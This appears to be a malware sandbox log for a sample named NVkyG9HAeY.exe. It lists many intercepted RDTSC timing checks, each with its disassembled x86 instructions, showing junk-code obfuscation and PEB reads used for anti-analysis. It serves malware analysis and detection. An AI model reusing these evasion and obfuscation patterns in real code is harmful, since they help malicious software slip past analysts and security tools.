Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79803AA second address: 798043F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF3B4EE5411h 0x00000011 adc ax, 1076h 0x00000016 jmp 00007FF3B4EE5411h 0x0000001b popfd 0x0000001c push ecx 0x0000001d pushad 0x0000001e popad 0x0000001f pop edi 0x00000020 popad 0x00000021 xchg eax, edi 0x00000022 pushad 0x00000023 push eax 0x00000024 jmp 00007FF3B4EE5415h 0x00000029 pop ecx 0x0000002a popad 0x0000002b push dword ptr [eax] 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push ebx 0x00000031 pop eax 0x00000032 pushfd 0x00000033 jmp 00007FF3B4EE540Bh 0x00000038 adc ax, 630Eh 0x0000003d jmp 00007FF3B4EE5419h 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798043F second address: 798047E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000030h] 0x0000000f jmp 00007FF3B51FB93Eh 0x00000014 push dword ptr [eax+18h] 0x00000017 pushad 0x00000018 jmp 00007FF3B51FB93Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79804AB second address: 79804AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79804AF second address: 79804B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79804B5 second address: 79804D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bl, 5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79804D6 second address: 79804DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79804DB second address: 79804E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79804E1 second address: 798053C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB947h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FF42481AAE0h 0x00000011 pushad 0x00000012 mov cl, EAh 0x00000014 pushfd 0x00000015 jmp 00007FF3B51FB941h 0x0000001a add esi, 09970E26h 0x00000020 jmp 00007FF3B51FB941h 0x00000025 popfd 0x00000026 popad 0x00000027 sub eax, eax 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c mov edi, 214920AEh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798053C second address: 7980540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980540 second address: 7980585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FF3B51FB945h 0x0000000c add ax, EE36h 0x00000011 jmp 00007FF3B51FB941h 0x00000016 popfd 0x00000017 popad 0x00000018 mov dword ptr [esi], edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF3B51FB93Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980585 second address: 79805C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF3B4EE540Ah 0x00000009 sub ax, BC88h 0x0000000e jmp 00007FF3B4EE540Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esi+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF3B4EE5415h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79805C1 second address: 79805C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79805C7 second address: 7980661 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF3B4EE540Bh 0x00000013 sub ecx, 21EBF62Eh 0x00000019 jmp 00007FF3B4EE5419h 0x0000001e popfd 0x0000001f jmp 00007FF3B4EE5410h 0x00000024 popad 0x00000025 mov esi, 1E751EC1h 0x0000002a popad 0x0000002b mov dword ptr [esi+0Ch], eax 0x0000002e jmp 00007FF3B4EE540Ch 0x00000033 mov eax, dword ptr [ebx+4Ch] 0x00000036 pushad 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FF3B4EE540Ch 0x0000003e sub ax, 6608h 0x00000043 jmp 00007FF3B4EE540Bh 0x00000048 popfd 0x00000049 mov ecx, 3BE6047Fh 0x0000004e popad 0x0000004f mov eax, 19E0699Bh 0x00000054 popad 0x00000055 mov dword ptr [esi+10h], eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b movsx ebx, ax 0x0000005e pushad 0x0000005f popad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980661 second address: 7980667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980667 second address: 798066B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798066B second address: 798068C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+50h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF3B51FB944h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798068C second address: 79806B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF3B4EE5411h 0x00000008 mov ah, 80h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+14h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edi, ecx 0x00000015 push ecx 0x00000016 pop ebx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79806B0 second address: 7980743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF3B51FB943h 0x00000009 sub esi, 1CF1D66Eh 0x0000000f jmp 00007FF3B51FB949h 0x00000014 popfd 0x00000015 jmp 00007FF3B51FB940h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov eax, dword ptr [ebx+54h] 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FF3B51FB93Eh 0x00000027 sbb ax, A518h 0x0000002c jmp 00007FF3B51FB93Bh 0x00000031 popfd 0x00000032 mov edx, ecx 0x00000034 popad 0x00000035 mov dword ptr [esi+18h], eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov bl, 3Eh 0x0000003d call 00007FF3B51FB948h 0x00000042 pop eax 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980743 second address: 7980749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980749 second address: 7980791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+58h] 0x0000000e jmp 00007FF3B51FB940h 0x00000013 mov dword ptr [esi+1Ch], eax 0x00000016 jmp 00007FF3B51FB940h 0x0000001b mov eax, dword ptr [ebx+5Ch] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF3B51FB93Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980791 second address: 79807E3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF3B4EE5412h 0x00000008 sub eax, 0D6D6E98h 0x0000000e jmp 00007FF3B4EE540Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov edi, eax 0x00000018 popad 0x00000019 mov dword ptr [esi+20h], eax 0x0000001c jmp 00007FF3B4EE5412h 0x00000021 mov eax, dword ptr [ebx+60h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FF3B4EE540Ah 0x0000002d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79807E3 second address: 79807F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79807F2 second address: 79807F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79807F7 second address: 798081D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esi+24h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ch, D0h 0x0000000f call 00007FF3B51FB945h 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798081D second address: 79808A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+64h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF3B4EE5415h 0x00000012 adc si, 8856h 0x00000017 jmp 00007FF3B4EE5411h 0x0000001c popfd 0x0000001d mov edi, eax 0x0000001f popad 0x00000020 mov dword ptr [esi+28h], eax 0x00000023 pushad 0x00000024 jmp 00007FF3B4EE5418h 0x00000029 mov si, CCC1h 0x0000002d popad 0x0000002e mov eax, dword ptr [ebx+68h] 0x00000031 jmp 00007FF3B4EE540Ch 0x00000036 mov dword ptr [esi+2Ch], eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FF3B4EE5417h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79808A5 second address: 79808D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dh 0x00000005 mov cx, E277h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ax, word ptr [ebx+6Ch] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF3B51FB949h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79808D0 second address: 798095B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 push esi 0x00000007 pop edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov word ptr [esi+30h], ax 0x0000000f jmp 00007FF3B4EE5412h 0x00000014 mov ax, word ptr [ebx+00000088h] 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FF3B4EE540Eh 0x00000022 xor cl, 00000028h 0x00000025 jmp 00007FF3B4EE540Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007FF3B4EE5418h 0x00000031 xor esi, 1D30B588h 0x00000037 jmp 00007FF3B4EE540Bh 0x0000003c popfd 0x0000003d popad 0x0000003e mov word ptr [esi+32h], ax 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FF3B4EE5410h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798095B second address: 7980961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980961 second address: 7980992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+0000008Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF3B4EE5417h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980992 second address: 79809AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3B51FB944h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79809AA second address: 7980A2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+34h], eax 0x0000000e jmp 00007FF3B4EE5416h 0x00000013 mov eax, dword ptr [ebx+18h] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FF3B4EE540Eh 0x0000001d or cl, 00000038h 0x00000020 jmp 00007FF3B4EE540Bh 0x00000025 popfd 0x00000026 jmp 00007FF3B4EE5418h 0x0000002b popad 0x0000002c mov dword ptr [esi+38h], eax 0x0000002f jmp 00007FF3B4EE5410h 0x00000034 mov eax, dword ptr [ebx+1Ch] 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980A2B second address: 7980A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980A2F second address: 7980A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980A35 second address: 7980A54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 8FD1h 0x00000007 movzx ecx, dx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+3Ch], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF3B51FB93Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980A54 second address: 7980A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980A58 second address: 7980A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980A5E second address: 7980AEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+20h] 0x0000000c pushad 0x0000000d movzx esi, bx 0x00000010 pushfd 0x00000011 jmp 00007FF3B4EE5413h 0x00000016 sub eax, 578CA4CEh 0x0000001c jmp 00007FF3B4EE5419h 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [esi+40h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov dx, A22Eh 0x0000002d pushfd 0x0000002e jmp 00007FF3B4EE540Fh 0x00000033 sub ax, F2DEh 0x00000038 jmp 00007FF3B4EE5419h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980AEC second address: 7980B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+00000080h] 0x0000000f pushad 0x00000010 call 00007FF3B51FB93Ch 0x00000015 mov bh, al 0x00000017 pop ebx 0x00000018 jmp 00007FF3B51FB93Ch 0x0000001d popad 0x0000001e push 00000001h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF3B51FB947h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980B3F second address: 7980BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FF3B4EE5415h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007FF3B4EE540Ch 0x00000014 mov dword ptr [esp], eax 0x00000017 jmp 00007FF3B4EE5410h 0x0000001c lea eax, dword ptr [ebp-10h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov edi, 336EF540h 0x00000027 pushfd 0x00000028 jmp 00007FF3B4EE5419h 0x0000002d add eax, 035A7146h 0x00000033 jmp 00007FF3B4EE5411h 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980BBB second address: 7980C1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF3B51FB947h 0x00000009 sbb esi, 5D5FC87Eh 0x0000000f jmp 00007FF3B51FB949h 0x00000014 popfd 0x00000015 call 00007FF3B51FB940h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov bx, cx 0x00000023 mov di, si 0x00000026 popad 0x00000027 mov dword ptr [esp], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980C1C second address: 7980C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5413h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980D37 second address: 7980D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007FF3B51FB93Bh 0x0000000b sbb ecx, 2107258Eh 0x00000011 jmp 00007FF3B51FB949h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esi+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF3B51FB93Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980D7D second address: 7980DDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea eax, dword ptr [ebx+78h] 0x0000000d pushad 0x0000000e movsx edx, cx 0x00000011 mov esi, 5706AB13h 0x00000016 popad 0x00000017 push 00000001h 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FF3B4EE5414h 0x00000020 sbb ah, FFFFFF98h 0x00000023 jmp 00007FF3B4EE540Bh 0x00000028 popfd 0x00000029 jmp 00007FF3B4EE5418h 0x0000002e popad 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980DDB second address: 7980DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980DDF second address: 7980DE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980DE5 second address: 7980DF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3B51FB93Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980DF4 second address: 7980E7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov bl, D1h 0x0000000f pushfd 0x00000010 jmp 00007FF3B4EE5418h 0x00000015 or si, E3E8h 0x0000001a jmp 00007FF3B4EE540Bh 0x0000001f popfd 0x00000020 popad 0x00000021 nop 0x00000022 pushad 0x00000023 mov bl, ch 0x00000025 pushfd 0x00000026 jmp 00007FF3B4EE5411h 0x0000002b adc ecx, 1B7BEA06h 0x00000031 jmp 00007FF3B4EE5411h 0x00000036 popfd 0x00000037 popad 0x00000038 lea eax, dword ptr [ebp-08h] 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980E7A second address: 7980E80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980F72 second address: 7980FDF instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF3B4EE5418h 0x00000008 jmp 00007FF3B4EE5415h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FF3B4EE5410h 0x00000015 popad 0x00000016 push 00000001h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FF3B4EE540Dh 0x00000021 adc ch, 00000016h 0x00000024 jmp 00007FF3B4EE5411h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980FDF second address: 7981038 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 call 00007FF3B51FB946h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 pushad 0x00000011 pushad 0x00000012 mov dx, ax 0x00000015 jmp 00007FF3B51FB946h 0x0000001a popad 0x0000001b mov dx, cx 0x0000001e popad 0x0000001f mov dword ptr [esp], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF3B51FB943h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981038 second address: 7981067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-18h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF3B4EE540Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981067 second address: 79810B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF3B51FB93Ch 0x00000011 xor eax, 68A889E8h 0x00000017 jmp 00007FF3B51FB93Bh 0x0000001c popfd 0x0000001d mov ch, 2Dh 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 call 00007FF3B51FB93Eh 0x00000029 pop ecx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981104 second address: 798110A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798110A second address: 798110E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798110E second address: 7981174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5413h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, eax 0x0000000d jmp 00007FF3B4EE5416h 0x00000012 test edi, edi 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop eax 0x00000017 pushad 0x00000018 mov dx, 27BAh 0x0000001c mov dx, 0586h 0x00000020 popad 0x00000021 popad 0x00000022 js 00007FF424503966h 0x00000028 jmp 00007FF3B4EE540Dh 0x0000002d mov eax, dword ptr [ebp-14h] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FF3B4EE540Dh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981174 second address: 798117A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798117A second address: 798117E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798117E second address: 798119F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798119F second address: 79811A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
